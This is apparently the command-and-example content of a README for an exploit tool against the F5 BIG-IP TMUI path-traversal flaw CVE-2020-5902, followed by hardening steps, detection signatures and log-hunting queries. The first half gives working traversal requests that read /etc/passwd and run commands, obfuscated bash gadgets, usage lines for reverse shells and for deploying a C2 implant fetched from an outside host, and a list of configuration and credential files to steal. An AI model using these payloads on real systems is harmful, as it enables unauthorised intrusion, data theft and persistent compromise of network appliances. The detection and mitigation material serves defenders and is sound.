GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

┌──────────────────────────────────────────────────────────────────┐
│  Client Request                                                   │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat Servlet Filter       │
             │  Sees: /tmui/login.jsp  ✓     │
             │  (public endpoint → ALLOW)    │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URL Resolver         │
             │  Resolves: /..;/ → /../       │
             │  Final path: /tmui/locallb/   │
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (no auth check) │
             │  Reads arbitrary files as root│
             └───────────────────────────────┘

POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

Phase 1: Reconnaissance
  └─ TCP banner grab (HTTP/TLS fingerprint)
  └─ SSL certificate analysis
  └─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
  └─ BIG-IP version estimation from /etc/f5-release

Phase 2: Vulnerability Check
  └─ Iterate over 6 traversal encoding variants
  └─ Test against 4 known-readable sentinel files
  └─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)

Phase 3: Exploitation
  ├─ Vector A: tmshCmd.jsp (primary RCE)
  │    └─ Command obfuscated via base64 / hex-encode gadgets
  ├─ Vector B: fileRead.jsp + command injection in fileName param
  │    └─ OS command injected into the fileName parameter
  └─ Vector C: Log poisoning (User-Agent injection → read access_log)

Phase 4: Post-Exploitation (optional)
  ├─ Interactive shell (command REPL)
  ├─ Reverse shell (4 concurrent one-liners)
  ├─ LFI brute-force (30 sensitive paths, parallel)
  └─ C2 implant deployment (Sliver / Metasploit / custom)

# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"

git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100

# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. Interactive shell
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFI brute-force (reads 30 sensitive paths)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. Deploy a C2 implant (Sliver example)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Route through Burp Suite for traffic inspection
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

# BIG-IP: restrict management access to a dedicated VLAN/IP range
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

┌────────────────────────────────────────────────────────────────┐
│  RECOMMENDED ARCHITECTURE                                       │
│                                                                 │
│  Internet ──────► Firewall ──────► DMZ / Production           │
│                      │                                          │
│                      │  (DENY all traffic to mgmt ports)        │
│                      │                                          │
│                   Jump Host ──────► BIG-IP TMUI (port 443)    │
│                 (MFA + VPN)         (management VLAN only)     │
└────────────────────────────────────────────────────────────────┘

[ ] BIG-IP patched to a fixed version
[ ] TMUI not exposed to the internet (verify with Shodan/Censys)
[ ] Management VLAN segregated from production
[ ] Self IP port lockdown configured (Allow None or Allow Defaults)
[ ] MFA enforced on management access
[ ] BIG-IP software inventory in asset management system
[ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
[ ] Log forwarding to SIEM configured (access_log, audit.log)
[ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
[ ] Incident response playbook includes network device compromise scenario

# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

# Hunt for traversal attempts in BIG-IP access logs
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# Look for successful hits to the vulnerable endpoints
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

/etc/passwd                  — credential harvesting
/config/bigip.conf           — VPN/routing config exfiltration
/config/bigip.license        — license key theft
/config/bigip_user.conf      — local admin account enumeration
/root/.bash_history          — historical command reconnaissance